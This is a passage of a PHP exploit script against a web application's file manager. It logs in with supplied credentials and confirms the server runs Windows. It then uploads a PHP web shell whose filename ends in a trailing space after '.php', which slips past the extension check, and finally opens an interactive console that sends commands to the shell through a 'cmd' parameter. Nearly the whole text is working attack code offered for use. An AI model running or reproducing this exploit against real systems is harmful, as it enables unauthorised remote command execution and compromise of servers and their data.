$v ) { $t = explode( ':', $v, 2 ); if( isset( $t[1] ) ) $head[ trim($t[0]) ] = trim( $t[1] ); else { $head[] = $v; if( preg_match( "#HTTP/[0-9\.]+\s+([0-9]+)#",$v, $out ) ) $head['reponse_code'] = intval($out[1]); } } return $head; } function getPhpsessid($server,$user,$pass){ $url = $server.'/login.php'; $data = array('action' => 'userlogin', 'user_name' => $user, 'user_pass' => $pass, 'Submit' => 'Enter'); $options = array( 'http' => array( 'header' => "Content-type: application/x-www-form-urlencoded\r\n", 'method' => 'POST', 'content' => http_build_query($data) ) ); $result = file_get_contents($url, false, stream_context_create($options)); $r_header = parseHeaders($http_response_header); if ($result === FALSE) { die("[-] Error during request. Check if your connection is up or if you entered the correct name of the server."); } if(!isset($r_header['Location'])){ die("[-] You didn't entered a correct pair user/password."); } if(strpos($r_header['Server'],'Win') === false){ die("[-] The server isn't running on Windows. Can't run the exploit."); } $sessid = trim(substr(strstr($r_header['Location'],'PHPSESSID'),10)); return $sessid; } function uploadShell($server,$phpsessid){ $MULTIPART_BOUNDARY= '--------------------------'.microtime(true); $shellname = "0x".rand()."_gh0st.php "; //notice the space after .php $header = "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0\r\n"; $header .="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"; $header .="Accept-Encoding: gzip, deflate\r\n"; $header .= "Cookie: PHPSESSID=$phpsessid\r\n"; $header .="Connection: close\r\n"; $header .= "Content-Type: multipart/form-data; boundary=$MULTIPART_BOUNDARY"; $content = "--$MULTIPART_BOUNDARY\r\n". "Content-Disposition: form-data; name=\"action\"\r\n\r\n". "upload\r\n"; $content .= "--$MULTIPART_BOUNDARY\r\n". "Content-Disposition: form-data; name=\"directory\"\r\n\r\n". "\r\n"; $content .= "--$MULTIPART_BOUNDARY\r\n". "Content-Disposition: form-data; name=\"order\"\r\n\r\n". "nom\r\n"; $content .= "--$MULTIPART_BOUNDARY\r\n". "Content-Disposition: form-data; name=\"direction\"\r\n\r\n". "0\r\n"; $content .= "--$MULTIPART_BOUNDARY\r\n". "Content-Disposition: form-data; name=\"userfile\"; filename=\"$shellname\"\r\n". "Content-Type: application/octet-stream\r\n\r\n". "\r\n"; $content .= "--$MULTIPART_BOUNDARY\r\n". "Content-Disposition: form-data; name=\"description\"\r\n\r\n". "\r\n"; $content .= "--$MULTIPART_BOUNDARY--\r\n"; $options = array( 'http' => array( 'method' => 'POST', 'header' => $header, 'content' => $content, ) ); $url = $server.'/index.php?'; $result = file_get_contents($url, false, stream_context_create($options)); $r_header = parseHeaders($http_response_header); if ($result === FALSE) { die("[-] Error during request. Check if your connection is up or if you entered the correct name of the server."); } if(!isset($r_header['reponse_code']) && intval($r_header['reponse_code']) != 200){ die("[-] Error during upload."); } return $shellname; } function runConsole($server,$shellname){ while(1){ echo "Insert cmd ('exit' to quit) > "; $cmd = fgets(STDIN); if(trim($cmd) == 'exit' ) die("[+] bye\n"); $query = $server."/files/".trim($shellname)."?cmd=".trim($cmd); $result = file_get_contents($query); echo $result."\n"; } }